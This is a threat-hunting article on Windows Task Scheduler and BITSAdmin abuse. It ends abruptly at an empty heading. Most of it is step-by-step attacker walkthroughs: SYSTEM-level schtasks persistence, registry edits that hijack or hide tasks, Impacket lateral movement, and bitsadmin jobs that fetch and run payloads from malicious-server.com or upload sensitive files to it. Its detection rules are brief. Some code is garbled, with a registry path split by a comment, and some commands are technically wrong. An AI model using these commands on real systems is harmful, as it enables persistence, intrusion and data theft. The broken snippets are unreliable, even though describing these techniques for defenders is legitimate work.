Hunting Malicious Scheduled Tasks & BitsAdmin Jobs / PowershellCmdlets

Hunting Malicious Scheduled Tasks & BitsAdmin Jobs / PowershellCmdlets

In the realm of cybersecurity, threat hunting is a proactive approach to identifying and mitigating potential threats before they can cause significant damage. Among the various techniques employed by attackers, the abuse of built-in Windows features such as Task Scheduler and BitsAdmin has become increasingly prevalent. This article will delve into how these functionalities can be exploited for malicious purposes, particularly in the context of Advanced Persistent Threats (APTs). We will also cover detection strategies and mitigation techniques to safeguard organizational infrastructure.


Abuse of Task Scheduler and BITSAdmin w.r.t Cyber Kill Chain Stages:


Cyber Kill Chain Model
Fig.1: The 7 Stages of Cyber Kill Chain

  1. Initial Access: Attackers may use phishing emails or exploit vulnerabilities to gain access. For example, APT groups like Black Basta use BITSAdmin to download additional malware after initial compromise. They might send an email containing a malicious attachment that, when opened, establishes a foothold on the system.
  2. Execution: Scheduled tasks are created to execute malicious scripts or binaries at startup or at regular intervals. For instance, the Quakbot banking trojan uses?schtasks.exe?to create a task that runs a JavaScript downloader every time the system starts, ensuring that the malware is reloaded even if it is terminated.
  3. Persistence: Adversaries establish persistence by creating scheduled tasks that run malicious code even after reboots. APT33 has been known to create scheduled tasks that run .vbe files multiple times a day, ensuring their presence on compromised machines.
  4. Privilege Escalation & Lateral Movement: Using SYSTEM privileges, attackers can create hidden tasks that evade detection. For example, attackers may use?schtasks?with elevated privileges to modify existing tasks and insert their own commands for execution without raising flags in security monitoring systems.
  5. Command and Control (C2): BITSAdmin can be used to download C2 software without alerting security systems. Threat actors might leverage BITSAdmin jobs for stealthy data exfiltration by scheduling downloads of sensitive data back to their servers while avoiding typical network monitoring tools.


A. Windows Task Scheduler

Understanding Windows Task Scheduler

Windows Task Scheduler allows users to schedule tasks to run at specific times or under certain conditions. Adversaries exploit this functionality to achieve persistence, execute malicious payloads, or perform lateral movement within a network.

  • Common Techniques: Creating scheduled tasks with the?/Create?flag using?schtasks.exe. Modifying existing tasks to include malicious actions. Running tasks under the SYSTEM account to bypass User Access Control (UAC).

MITRE ATT&CK Techniques:

Common TTPs Associated with Task Scheduler Abuse

Windows Task Scheduler is a powerful tool that can be exploited by threat actors to establish persistence, execute malicious code, and facilitate lateral movement within a network. Understanding the common tactics, techniques, and procedures (TTPs) associated with Task Scheduler abuse is crucial for organizations aiming to bolster their cybersecurity defenses.

Overview of Task Scheduler Abuse

Threat actors often leverage Task Scheduler to execute programs at specific times or in response to certain events. This can include running malicious payloads during system startup or at scheduled intervals, allowing attackers to maintain a foothold in the environment. The following sections will outline the most common TTPs associated with Task Scheduler abuse.

Common TTPs Associated with Schedules Tasks Abuse

1. Creating Malicious Scheduled Tasks

Description: Attackers may create new scheduled tasks using the?schtasks.exe?command-line utility or through the GUI. These tasks can be designed to execute malicious scripts or binaries.

Example: The Quakbot banking trojan uses?schtasks.exe?to create a task that runs a JavaScript downloader at system startup, ensuring that the malware is reloaded even if terminated.

MITRE ATT&CK Technique: T1053.005 (Scheduled Task)

Scenario: Attackers frequently utilize the Windows Task Scheduler to create new scheduled tasks that execute malicious scripts or binaries. By leveraging theschtasks.execommand-line utility or the graphical user interface (GUI), they can ensure that their malware runs automatically, often at system startup, thereby maintaining persistence on the compromised system.

Sample Task Creation: In this hypothetical scenario, an attacker aims to create a scheduled task that runs a malicious JavaScript downloader namedmalicious_downloader.jsevery time the system starts.

Step 1: Prepare the Malicious Script

The attacker prepares a JavaScript file namedmalicious_downloader.jsthat is designed to download and execute additional malware from a remote server.

Step 2: Create the Scheduled Task

Using the command line, the attacker creates a scheduled task that executes the JavaScript downloader at system startup:

powershell

schtasks /create /tn "MaliciousDownloaderTask" /tr "C:\Path\To\malicious_downloader.js" /sc onstart /ru "SYSTEM"        

Explanation of the Command

  • /create: Initiates the creation of a new scheduled task.
  • /tn "MaliciousDownloaderTask": Names the task for easy identification.
  • /tr: Specifies the command to run—in this case, executing the JavaScript downloader.
  • /sc onstart: Sets the task to trigger when the system starts, ensuring it runs automatically.
  • /ru "SYSTEM": Runs the task under the SYSTEM account, granting it full administrative privileges.

Execution and Impact

Once this task is created, every time the system starts,malicious_downloader.jswill execute, allowing attackers to download and install additional malware without user intervention. This method ensures that even if the initial payload is terminated, it will be reloaded upon the next system boot, providing attackers with persistent access to the compromised environment.

2. Modifying Existing Tasks

Description: Instead of creating new tasks, attackers can modify existing benign tasks to inject malicious actions. This helps them evade detection by blending in with legitimate scheduled tasks.

Example: An attacker might change the action of a benign task to execute a malicious payload while keeping the task's name and schedule unchanged.

Abuse Case: An attacker tampers with an existing task via registry manipulation, injecting a malicious action without altering the task's appearance

Scenario: Attackers often seek ways to blend their malicious activities with legitimate system operations to evade detection. One effective method is modifying existing benign scheduled tasks to inject malicious actions. By doing this, they can maintain the task's original name and schedule, making it difficult for security teams to identify the compromise.

Sample Task Modification: In this hypothetical scenario, an attacker aims to modify a benign scheduled task that is used for routine maintenance, such as a system update check, to execute a malicious payload instead.

Step 1: Identify a Benign Scheduled Task

The attacker identifies an existing scheduled task, for example, one named "Windows Update Check," which runs regularly and has a benign purpose.

Step 2: Modify the Task Action

Using PowerShell or the command prompt, the attacker modifies the action of this existing task to execute a malicious binary namedmalicious_payload.exelocated in the%APPDATA%\Roamingdirectory:

powershell
# Change the action of the existing task 
$taskName = "Windows Update Check" $taskPath = "HKLM:\SOFTWARE\Microsoft\Windows
 
# Replace with the actual SID of the task NT\CurrentVersion\Schedule\TaskCache\Tasks" $taskSID = "<Task SID>" 

# Modify the action in the registry 
Set-ItemProperty -Path "$taskPath\$taskSID" -Name "Actions" -Value "C:\Users\<Username>\AppData\Roaming\malicious_payload.exe"        

Explanation of the Command

  • Set-ItemProperty: This command is used to modify properties of an existing registry entry.
  • $taskPath: Specifies the registry path where scheduled tasks are stored.
  • $taskSID: The unique identifier for the scheduled task being modified.
  • "Actions": The registry value that defines what action the task will perform. Here, it is set to execute malicious_payload.exe.

Execution and Impact

Once this modification is made, the next time the legitimate task runs (e.g., during a scheduled update check), it will instead executemalicious_payload.exe. This allows attackers to carry out their objectives—such as data exfiltration or installing additional malware—while appearing as if nothing has changed in the system's scheduled tasks.

3. Running Tasks with Elevated Privileges

Description: Threat actors often configure scheduled tasks to run under the SYSTEM account or with "Run with highest privileges" options, allowing them to bypass User Access Control (UAC).

Example: APT groups may create tasks that run sensitive commands or scripts that require elevated privileges, facilitating further exploitation of the system

MITRE ATT&CK Technique: T1053.005 (Scheduled Task)

Scenario: Threat actors frequently exploit the capabilities of Windows Task Scheduler to run tasks with elevated privileges. By configuring scheduled tasks to execute under the SYSTEM account or by selecting the "Run with highest privileges" option, attackers can bypass User Access Control (UAC) restrictions, allowing them to execute sensitive commands or scripts that would otherwise be blocked.

Sample Task Creation: In this hypothetical scenario, an attacker aims to create a scheduled task that runs a malicious script with elevated privileges.

Step 1: Create the Malicious Script

The attacker prepares a malicious PowerShell script namedmalicious_script.ps1that performs unauthorized actions on the system, such as downloading additional malware or exfiltrating sensitive data.

Step 2: Create the Scheduled Task with Elevated Privileges

Next, the attacker creates a scheduled task that runs the script under the SYSTEM account and selects the "Run with highest privileges" option:

powershell

schtasks /create /tn "ElevatedMaliciousTask" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\Path\To\malicious_script.ps1" /sc onlogon /ru "SYSTEM" /rl HIGHEST        

Explanation of the Command

  • /create: Initiates the creation of a new scheduled task.
  • /tn "ElevatedMaliciousTask": Names the task for easy identification.
  • /tr: Specifies the command to run, in this case, executing PowerShell with a bypass for execution policy.
  • /sc onlogon: Sets the task to trigger whenever any user logs on to the system.
  • /ru "SYSTEM": Runs the task under the SYSTEM account, granting it full administrative privileges.
  • /rl HIGHEST: Ensures that the task runs with the highest available privileges.

Execution and Impact

Once this task is created, every time a user logs in,powershell.exewill executemalicious_script.ps1with elevated privileges. This allows attackers to perform actions that could compromise system integrity, such as installing additional malware or manipulating sensitive files without raising alarms.

4. Evading Detection

Description: Attackers can hide their activities by deleting Security Descriptor (SD) registry values associated with scheduled tasks, making them invisible to standard monitoring tools.

Example: By manipulating registry settings, an attacker can create "hidden" scheduled tasks that do not appear in?schtasks /query?outputs

Abuse Case: A threat actor creates a hidden task that runs a payload but remains undetected due to its concealed nature.

Scenario: Attackers often seek ways to evade detection by manipulating system settings. One common method involves altering Security Descriptor (SD) registry values associated with scheduled tasks. By doing so, they can create "hidden" tasks that are not visible to standard monitoring tools, such as theschtasks /querycommand.

Sample Task Creation

In this hypothetical scenario, an attacker aims to create a hidden scheduled task that runs a malicious payload without being detected.

Step 1: Create the Scheduled Task

The attacker first creates a scheduled task that runs a malicious executable namedpayload.exelocated in the%APPDATA%\Roamingdirectory:

powershell

schtasks /create /tn "HiddenMaliciousTask" /tr "C:\Users\<Username>\AppData\Roaming\payload.exe" /sc onlogon /ru "<Username>"        

Step 2: Modify Security Descriptor Registry Values

Next, the attacker manipulates the registry settings to hide the task from standard queries. This can be done by changing the SD values associated with the task. Here’s an example command that modifies the registry:

powershell

# Set the security descriptor to hide the task $taskPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" $taskSID = "<Task SID>" 
# Replace with the actual SID of the task 
Set-ItemProperty -Path "$taskPath\$taskSID" -Name "SecurityDescriptor" -Value $null        

Explanation of the Commands

  • schtasks /create: Creates a new scheduled task that will execute payload.exe upon user logon.
  • Set-ItemProperty: Modifies the registry property associated with the created task, specifically targeting its Security Descriptor to hide it from visibility.

Execution and Impact

Once the task is created and its security descriptor modified, it will run silently in the background every time the user logs in. Because of the manipulation of registry values, this hidden task will not appear in outputs from commands likeschtasks /query, making it extremely difficult for security teams to detect.

5. Using Scheduled Tasks for Lateral Movement

Description: Adversaries may utilize scheduled tasks to execute commands on remote systems as part of their lateral movement strategy.

Example: Attackers can leverage tools like Impacket's?atexec.py ?script to run commands on other machines within the network using scheduled tasks

MITRE ATT&CK Technique: T1053.005 (Scheduled Task)

Scenario: Adversaries often employ scheduled tasks as a means of lateral movement within a network. By executing commands on remote systems, they can expand their access and control over the environment. This technique allows attackers to leverage existing scheduled tasks to run malicious commands or scripts on other machines without raising alarms.

Sample Lateral Movement Using Scheduled Tasks

In this hypothetical scenario, an attacker aims to use a tool like Impacket’satexec.pyscript to execute a command on a remote machine within the same network.

Step 1: Prepare the Command

The attacker prepares a command that they want to execute on the remote machine, such as downloading additional malware or exfiltrating data.

Step 2: Use Impacket's atexec.py Script

The attacker uses theatexec.pyscript from Impacket to create a scheduled task on the target machine that runs the prepared command. Here’s an example command:

bash

python3 atexec.py <username>:<password>@<target_ip> "schtasks /create /tn 'RemoteMaliciousTask' /tr 'cmd.exe /c <command>' /sc onstart /ru 'SYSTEM'"        

Explanation of the Command

  • python3 atexec.py: Executes the Impacket script designed for running commands on remote systems.
  • <username>:<password>@<target_ip>: Specifies the credentials and IP address of the target machine.
  • "schtasks /create ... ": The command passed to create a new scheduled task on the remote system.
  • /tn 'RemoteMaliciousTask': Names the task for identification.
  • /tr 'cmd.exe /c <command>': Specifies that cmd.exe should execute the desired command.
  • /sc onstart: Sets the task to trigger when the system starts, ensuring it runs automatically.
  • /ru 'SYSTEM': Runs the task under the SYSTEM account, granting it elevated privileges.

Execution and Impact

Once this scheduled task is created on the target machine, it will execute the specified command every time the system starts. This allows attackers to perform actions such as downloading additional malware or establishing further footholds in the network, all while leveraging legitimate system functionalities to avoid detection.

6. Executing Code from User-Writable Directories

Description: Adversaries often schedule tasks that execute binaries located in user-writable directories such as?%APPDATA%\Roaming, allowing them to bypass restrictions on executing files from protected directories.

Example: A common tactic involves creating a task that runs?cmd.exe?from these directories, enabling attackers to execute arbitrary commands without raising alarms

Here’s a hypothetical example of how an attacker might create a scheduled task to run cmd.exe from a malicious executable located in the %APPDATA%\Roaming directory:

Step 1: Place the Malicious Binary

The attacker first drops a malicious binary named malicious.exe into the %APPDATA%\Roaming directory:

C:\Users\<Username>\AppData\Roaming\malicious.exe        

Step 2: Create the Scheduled Task

The attacker then uses PowerShell or the command prompt to create a scheduled task that executes cmd.exe, which in turn runs the malicious.exe binary. binary. Here’s an example command that an attacker might use:

powershell

schtasks /create /tn "MaliciousTask" /tr "C:\Users\<Username>\AppData\Roaming\malicious.exe" /sc onlogon /ru "<Username>"        

Explanation of the Command

  • /create: This option creates a new scheduled task.
  • /tn "MaliciousTask": Specifies the name of the task.
  • /tr: Defines the path to the executable that will be run.
  • /sc onlogon: Sets the task to trigger when the user logs on, ensuring it runs without user intervention.
  • /ru "<Username>": Runs the task under the context of the specified user.

Execution and Impact

Once this task is created, every time the user logs in, cmd.exe will execute malicious.exe, allowing attackers to run arbitrary commands or scripts silently in the background. This method not only helps maintain persistence but also minimizes detection risks since it leverages legitimate system functionalities.

7. Leveraging BITSAdmin for Downloading Payloads

Description: While primarily focused on Task Scheduler, some attackers may use BITSAdmin jobs in conjunction with scheduled tasks to download malware silently.

Example: An attacker creates a BITS job that downloads malware from a remote server and then schedules a task to execute it once downloaded

Scenario: While the focus is often on Task Scheduler, attackers can also exploit BITSAdmin jobs to download malware silently. By combining BITS jobs with scheduled tasks, they can ensure that malicious payloads are retrieved and executed without drawing attention.

Sample Workflow Using BITSAdmin and Scheduled Tasks

In this hypothetical scenario, an attacker aims to use BITSAdmin to download a malicious executable namedmalware.exefrom a remote server and then create a scheduled task to execute it once the download is complete.

Step 1: Create the BITS Job

The attacker first creates a BITS job to downloadmalware.exe from a remote server:

bash

bitsadmin /create "MaliciousDownloadJob" bitsadmin /addfile "MaliciousDownloadJob" "https://malicious-server.com/malware.exe" "C:\Users\<Username>\AppData\Local\Temp\malware.exe" bitsadmin /setpriority "MaliciousDownloadJob" high bitsadmin /complete "MaliciousDownloadJob"        

Explanation of the Commands

  • bitsadmin /create: Initiates a new BITS job named "MaliciousDownloadJob."
  • /addfile: Specifies the file to be downloaded from the remote server and its local destination.
  • /setpriority: Sets the priority of the download job to high, ensuring it completes quickly.
  • /complete: Marks the job as complete, initiating the download process.

Step 2: Create a Scheduled Task to Execute the Downloaded Payload

Once the malware is downloaded, the attacker creates a scheduled task that executes the downloaded executable:

powershell

schtasks /create /tn "ExecuteMalwareTask" /tr "C:\Users\<Username>\AppData\Local\Temp\malware.exe" /sc onlogon /ru "<Username>"        

Explanation of the Command

  • /create: Initiates the creation of a new scheduled task.
  • /tn "ExecuteMalwareTask": Names the task for easy identification.
  • /tr: Specifies the command to run, which is executing malware.exe.
  • /sc onlogon: Configures the task to trigger when any user logs on, ensuring it runs automatically.
  • /ru "<Username>": Runs the task under the specified user account.

Execution and Impact

With both the BITS job and scheduled task in place, once a user logs in,malware.exewill execute silently in the background. This method allows attackers to download and run malicious payloads without raising alarms, leveraging legitimate Windows functionalities to avoid detection.

Identifying Suspicious Activity Involving Task Scheduler

To effectively detect suspicious activity related to Windows Task Scheduler abuse, organizations should implement several strategies:

  • Monitor for Unusual Task Creation or Modification Events: Regularly review logs for any unexpected creation or modification of scheduled tasks, especially those initiated by non-administrative users or outside normal business hours.

  • Audit Scheduled Tasks Regularly: Conduct periodic audits of all scheduled tasks on critical systems to identify any unauthorized changes or suspicious entries.
  • Look for Hidden Tasks: Implement checks for scheduled tasks that do not appear in typical queries (e.g., using PowerShell scripts) and verify their legitimacy.
  • Execution of Unfamiliar Programs: Tasks that execute programs not typically associated with legitimate business processes.
  • Tasks with Obfuscated Names: Tasks named in a way that attempts to disguise their purpose (e.g., using random characters).

Best Practices for Hardening Windows Task Scheduler Against Attacks

To mitigate risks associated with Task Scheduler abuse:

  1. Limit User Permissions: Restrict access rights for creating and modifying scheduled tasks only to trusted administrators.
  2. Enable Detailed Logging and Auditing: Enable logging for task creation and execution events and monitor logs for anomalies.
  3. Implement Application Whitelisting: Use application whitelisting solutions that restrict which applications can be executed via scheduled tasks.
  4. Regularly Review Security Settings: Ensure security settings related to scheduled tasks are regularly reviewed and updated as needed.
  5. Educate Users on Phishing Risks: Train employees on recognizing phishing attempts and other social engineering tactics that could lead to initial compromise.

?

Detection of Scheduled Taks Abuse via Correlation Queries & Rules:

  1. Monitoring Tools: Implement SIEM solutions for real-time monitoring of scheduled task creation and execution. Use EDR tools like CrowdStrike or SentinelOne to track process lineage and command execution across endpoints.
  2. Detection Rules:A) SIEM Queries/Rules in AQL:

SELECT * FROM events WHERE event_type = 'scheduled_task_created' AND user NOT IN ('SYSTEM', 'Administrator');        

This query helps identify any scheduled task creation events initiated by non-administrative users, which could indicate potential abuse.

B) XDR BiOC/Correlation Rules in XQL:

event where type='scheduled_task' AND action='create' AND user NOT IN ('SYSTEM');        

This rule will flag any unusual task creation events across all endpoints monitored by an XDR solution.

C) YARA Rules:

rule Detect_Malicious_Scheduled_Task {

    strings:

        $task_name = "malicious_task_name"

    condition:

        any of them

}        

This YARA rule can be deployed on endpoints to scan for known malicious task names associated with previous incidents.

B. BitsAdmin Jobs

BITSAdmin is a command-line tool used for creating and managing Background Intelligent Transfer Service (BITS) jobs. It can be exploited to download malicious payloads or exfiltrate data without raising alarms.

Common Techniques: Using BITSAdmin to download executables from remote locations. Executing downloaded payloads silently in the background.

MITRE ATT&CK Techniques:

Overview of BITSAdmin Abuse:

BITS (Background Intelligent Transfer Service) is designed for asynchronous file transfers, allowing applications to transfer files without requiring user interaction. This feature can be manipulated by attackers to download malware, exfiltrate data, and maintain persistence on compromised systems. The following TTPs outline how threat actors typically exploit BITSAdmin.

Common TTPs Associated with BITSAdmin Abuse

BITSAdmin, a command-line tool in Windows, is often exploited by threat actors for malicious purposes, particularly for downloading files and maintaining persistence. Understanding the tactics, techniques, and procedures (TTPs) associated with BITSAdmin abuse is critical for organizations to enhance their security posture. Below are the common TTPs linked to BITSAdmin misuse.

1. Downloading Malicious Payloads

?? - Description: Attackers utilize BITSAdmin to download malicious executables or scripts from remote servers without triggering security alerts. This method allows them to bypass firewalls that may block direct downloads.

- MITRE ATT&CK Technique: T1197 (BITS Jobs)

Scenario: Attackers often exploit BITSAdmin to download malicious executables or scripts from remote servers while remaining under the radar of security systems. This method allows them to bypass firewalls and other security measures that may block direct downloads, making it a preferred tactic for stealthy operations.

Sample Workflow for Downloading Malicious Payloads

In this hypothetical scenario, an attacker uses BITSAdmin to download a malicious executable namedmalware.exefrom a remote server without raising security alerts.

Step 1: Create the BITS Job

The attacker initiates a BITS job to downloadmalware.exefrom a remote server:

bash

bitsadmin /create "MaliciousDownloadJob" bitsadmin /addfile "MaliciousDownloadJob" "https://malicious-server.com/malware.exe" "C:\Users\<Username>\AppData\Local\Temp\malware.exe" bitsadmin /setpriority "MaliciousDownloadJob" normal bitsadmin /complete "MaliciousDownloadJob"        

Explanation of the Commands

  • bitsadmin /create: Initiates a new BITS job named "MaliciousDownloadJob."
  • /addfile: Specifies the file to be downloaded from the remote server and its local destination.
  • /setpriority: Sets the priority of the download job to normal, which is often sufficient for stealthy operations.
  • /complete: Marks the job as complete, initiating the download process.

Execution and Impact

Once the BITS job is created and executed,malware.exewill be downloaded silently to the specified location in the%TEMP%directory. This method allows attackers to bypass traditional security mechanisms, as BITS operates using HTTP(S) and is often whitelisted by firewalls. The downloaded payload can then be executed either manually by the attacker or through another scheduled task or script.

2. Creating Long-Standing Jobs for Persistence

?? - Description: BITS jobs can be configured to persist for up to 90 days (extendable), allowing attackers to maintain access even after system reboots.

?? - Example: An adversary sets a job that executes a malicious payload upon completion or error, ensuring it runs periodically or after reboots.

?? - Abuse Case: A job is created that not only downloads but also executes a payload using the /SetNotifyCmdLine option, which triggers a command after the job completes.?

Scenario: Attackers can exploit BITS (Background Intelligent Transfer Service) jobs to maintain persistence on a compromised system. By configuring these jobs to last for up to 90 days (with the possibility of extension), adversaries can ensure that their malicious payloads remain accessible and executable even after system reboots.

Sample Workflow for Creating a Persistent BITS Job

In this hypothetical scenario, an attacker creates a BITS job that not only downloads a malicious payload namedmalicious_payload.exebut also executes it upon completion or error.

Step 1: Create the BITS Job with Notification Command

The attacker first sets up a BITS job to downloadmalicious_payload.exefrom a remote server and configures it to execute once the download is complete:

bash

bitsadmin /create "PersistentMaliciousJob" bitsadmin /addfile "PersistentMaliciousJob" "https://malicious-server.com/malicious_payload.exe" "C:\Users\<Username>\AppData\Local\Temp\malicious_payload.exe" bitsadmin /setnotifycmdline "PersistentMaliciousJob" "C:\Windows\System32\cmd.exe /c C:\Users\<Username>\AppData\Local\Temp\malicious_payload.exe" bitsadmin /setpriority "PersistentMaliciousJob" high bitsadmin /complete "PersistentMaliciousJob"        

Explanation of the Commands

  • bitsadmin /create: Initiates a new BITS job named "PersistentMaliciousJob."
  • /addfile: Specifies the file to be downloaded from the remote server and its local destination.
  • /setnotifycmdline: Sets a command to execute upon completion of the job. Here, it runs malicious_payload.exe using cmd.exe.
  • /setpriority: Sets the priority of the download job to high, ensuring it completes quickly.
  • /complete: Marks the job as complete, initiating the download process.

Step 2: Configure Job Persistence

The attacker can configure the job to persist beyond its default lifespan by using additional commands or settings within BITS, ensuring that it remains active for up to 90 days or longer.

Execution and Impact

Once this persistent BITS job is created, it will downloadmalicious_payload.exeand execute it automatically upon completion. This setup allows attackers to maintain access to the compromised system even after reboots, as the job can be configured to trigger again based on specific conditions or errors.

3. Exfiltration of Data

?? - Description: Attackers can use BITS upload functionalities to exfiltrate sensitive data from compromised hosts.

?? - Example: A threat actor creates a BITS job that uploads sensitive files back to their server without raising alarms.

?? - MITRE ATT&CK Technique: T1041 (Exfiltration Over Command and Control Channel)

?Scenario: Attackers can exploit the upload functionalities of BITS (Background Intelligent Transfer Service) to exfiltrate sensitive data from compromised hosts. By using BITS for data exfiltration, adversaries can transfer files back to their servers in a stealthy manner, minimizing the risk of detection by security systems.

Sample Workflow for Data Exfiltration

In this hypothetical scenario, an attacker creates a BITS job to upload sensitive files from a compromised machine to their remote server.

Step 1: Prepare the Sensitive Files

The attacker identifies sensitive files on the compromised host that they wish to exfiltrate, such as documents or credentials stored in plaintext.

Step 2: Create the BITS Upload Job

The attacker uses BITSAdmin to create a job that uploads these sensitive files to their remote server:

bash

bitsadmin /create "SensitiveDataUploadJob" bitsadmin /addfile "SensitiveDataUploadJob" "C:\Path\To\SensitiveFile.txt" "https://malicious-server.com/upload" bitsadmin /setpriority "SensitiveDataUploadJob" normal bitsadmin /complete "SensitiveDataUploadJob"        

Explanation of the Commands

  • bitsadmin /create: Initiates a new BITS job named "SensitiveDataUploadJob."
  • /addfile: Specifies the local file to be uploaded and the URL of the remote server where it will be sent.
  • /setpriority: Sets the priority of the upload job to normal, which is sufficient for stealthy operations.
  • /complete: Marks the job as complete, initiating the upload process.

Execution and Impact

Once this BITS job is created and executed, the specified sensitive file will be uploaded to the attacker's server without raising alarms. Because BITS operates over HTTP(S) and is often allowed through firewalls, this method allows attackers to exfiltrate data while evading detection by traditional security measures.

4. Using External Command Execution

?? - Description: BITS jobs can be configured to execute arbitrary commands upon completion or failure of file transfers.

?? - Example: After downloading malware, an attacker might set up a command to execute the downloaded file immediately:

     bitsadmin /SetNotifyCmdLine download C:\Windows\malware.exe NULL        

- This allows attackers to automate the execution of their payloads without manual intervention.

Scenario: Attackers can leverage the capabilities of BITS (Background Intelligent Transfer Service) to execute arbitrary commands upon the completion or failure of file transfers. This functionality allows them to run malicious payloads immediately after downloading, facilitating rapid deployment of malware or other harmful actions.

Sample Workflow for External Command Execution

In this hypothetical scenario, an attacker creates a BITS job to download a malicious executable namedmalware.exe and configures it to execute the file immediately after the download completes.

Step 1: Create the BITS Job for Downloading Malware

The attacker sets up a BITS job to downloadmalware.exe from a remote server:

bash

bitsadmin /create "MalwareDownloadJob" bitsadmin /addfile "MalwareDownloadJob" "https://malicious-server.com/malware.exe" "C:\Users\<Username>\AppData\Local\Temp\malware.exe"        

Step 2: Configure Command Execution Upon Completion

Next, the attacker configures the job to execute the downloaded file using the/setnotifycmdlineoption:

bash
bitsadmin /setnotifycmdline "MalwareDownloadJob" "C:\Windows\System32\cmd.exe /c C:\Users\<Username>\AppData\Local\Temp\malware.exe" bitsadmin /setpriority "MalwareDownloadJob" normal bitsadmin /complete "MalwareDownloadJob"        

Explanation of the Commands

  • bitsadmin /create: Initiates a new BITS job named "MalwareDownloadJob."
  • /addfile: Specifies the file to be downloaded from the remote server and its local destination.
  • /setnotifycmdline: Sets a command to execute upon completion of the job. Here, it runs malware.exe using cmd.exe.
  • /setpriority: Sets the priority of the download job to normal, ensuring it completes efficiently.
  • /complete: Marks the job as complete, initiating the download process.

Execution and Impact

Once this BITS job is created and executed,malware.exewill be downloaded and automatically executed upon completion. This allows attackers to deploy their malicious payloads quickly and effectively, often without raising alarms from security systems.

5. Obfuscation and Evasion Techniques

?? - Description: Since BITS jobs are stored in a database rather than traditional registry locations, they can evade detection by standard monitoring tools.

?? - Example: Attackers may create jobs that do not generate typical logs or alerts, making it challenging for security teams to identify malicious activity.

?Scenario: Attackers can exploit the unique storage mechanism of BITS (Background Intelligent Transfer Service) jobs, which are stored in a database rather than traditional registry locations. This method allows them to evade detection by standard monitoring tools, making it difficult for security teams to identify malicious activities.

Sample Workflow for Evasion Using BITS Jobs

In this hypothetical scenario, an attacker creates a BITS job that downloads a malicious payload while ensuring that it does not generate typical logs or alerts.

Step 1: Create a Stealthy BITS Job

The attacker sets up a BITS job to download a malicious executable namedstealthy_malware.exefrom a remote server:

bash

bitsadmin /create "StealthyDownloadJob" bitsadmin /addfile "StealthyDownloadJob" "https://malicious-server.com/stealthy_malware.exe" "C:\Users\<Username>\AppData\Local\Temp\stealthy_malware.exe" bitsadmin /setpriority "StealthyDownloadJob" low bitsadmin /complete "StealthyDownloadJob"        

Explanation of the Commands

  • bitsadmin /create: Initiates a new BITS job named "StealthyDownloadJob."
  • /addfile: Specifies the file to be downloaded from the remote server and its local destination.
  • /setpriority: Sets the priority of the download job to low, which may further reduce visibility in monitoring tools.
  • /complete: Marks the job as complete, initiating the download process.

Execution and Impact

Once this stealthy BITS job is created and executed,stealthy_malware.exewill be downloaded without generating typical logs or alerts that standard monitoring solutions would capture. Because BITS jobs are not stored in traditional registry locations, they can evade detection by conventional methods, making it challenging for security teams to identify malicious activity.

Detection Challenge

The lack of visible changes in registry keys means that traditional detection methods may overlook these jobs. Security teams may not have visibility into BITS jobs unless they specifically monitor for them, creating a significant gap in their defenses.

6. Leveraging External Libraries and Tools

?? - Description: Attackers may exploit known vulnerabilities in third-party software (e.g., Veritas) alongside BITSAdmin for further compromise.

?? - Example: In a recent incident reported by Red Canary , an attacker used BITSAdmin in conjunction with Veritas software vulnerabilities to create administrator accounts and download additional payloads.

?? - This highlights the importance of monitoring not only Windows tools but also integrated third-party applications.

?Scenario: Attackers can exploit known vulnerabilities in third-party software, such as Veritas, in conjunction with BITSAdmin to further compromise systems. By leveraging these vulnerabilities, adversaries can enhance their access and capabilities, making it easier to execute malicious actions.

Sample Workflow for Exploiting Third-Party Vulnerabilities

In this hypothetical scenario, an attacker uses BITSAdmin alongside a vulnerability in Veritas software to create administrator accounts and download additional malicious payloads.

Step 1: Identify Vulnerabilities in Third-Party Software

The attacker identifies a known vulnerability in Veritas software that allows for privilege escalation or unauthorized access.

Step 2: Create a BITS Job to Download Payloads

Using BITSAdmin, the attacker creates a job that downloads a malicious executable namedadditional_payload.exeafter exploiting the vulnerability:

bash

bitsadmin /create "AdminAccountCreationJob" bitsadmin /addfile "AdminAccountCreationJob" "https://malicious-server.com/additional_payload.exe" "C:\Users\<Username>\AppData\Local\Temp\additional_payload.exe" bitsadmin /setpriority "AdminAccountCreationJob" normal bitsadmin /complete "AdminAccountCreationJob"        

Explanation of the Commands

  • bitsadmin /create: Initiates a new BITS job named "AdminAccountCreationJob."
  • /addfile: Specifies the file to be downloaded from the remote server and its local destination.
  • /setpriority: Sets the priority of the download job to normal, ensuring it completes efficiently.
  • /complete: Marks the job as complete, initiating the download process.

Execution and Impact

Once this BITS job is created and executed,additional_payload.exewill be downloaded silently to the specified location. The attacker can then use the previously exploited Veritas vulnerability to create administrator accounts or execute further commands on the compromised system, enhancing their control over the environment.

7. Using BITSAdmin for Lateral Movement

?? - Description: Threat actors may use BITSAdmin jobs on one compromised machine to execute commands or transfer files to other machines within the network.

?? - Example: An attacker could use a script that initiates BITS jobs across multiple machines using administrative privileges obtained through another vector.

Scenario: Threat actors can exploit BITSAdmin jobs on one compromised machine to execute commands or transfer files to other machines within the network. This technique allows them to move laterally across the network, leveraging existing access to expand their control and impact.

Sample Workflow for Lateral Movement Using BITSAdmin

In this hypothetical scenario, an attacker uses a script to initiate BITS jobs across multiple machines in the network, utilizing administrative privileges obtained through another attack vector.

Step 1: Obtain Administrative Privileges

The attacker first compromises a machine and gains administrative privileges, either through phishing, exploiting vulnerabilities, or other means.

Step 2: Use a Script to Initiate BITS Jobs on Other Machines

The attacker then runs a script that creates BITS jobs on other machines within the network to download and execute a malicious payload namedlateral_payload.exe. Here’s an example of how the script might look:

powershell

$targetMachines = @("Machine1", "Machine2", "Machine3") 
$payloadUrl = "https://malicious-server.com/lateral_payload.exe" 
foreach ($machine in $targetMachines) { 
    Invoke-Command -ComputerName $machine -ScriptBlock { 
        bitsadmin /create "LateralMovementJob" 
        bitsadmin /addfile "LateralMovementJob" $using:payloadUrl "C:\Users\$env:USERNAME\AppData\Local\Temp\lateral_payload.exe" 
        bitsadmin /setpriority "LateralMovementJob" normal 
        bitsadmin /complete "LateralMovementJob" 
    } 
}        

Explanation of the Script

  • $targetMachines: An array containing the names of target machines within the network.
  • Invoke-Command: Executes a command on each target machine.
  • bitsadmin /create: Initiates a new BITS job named "LateralMovementJob."
  • /addfile: Specifies the file to be downloaded from the remote server to the local destination on each target machine.
  • /setpriority: Sets the priority of the download job to normal.
  • /complete: Marks the job as complete, initiating the download process.

Execution and Impact

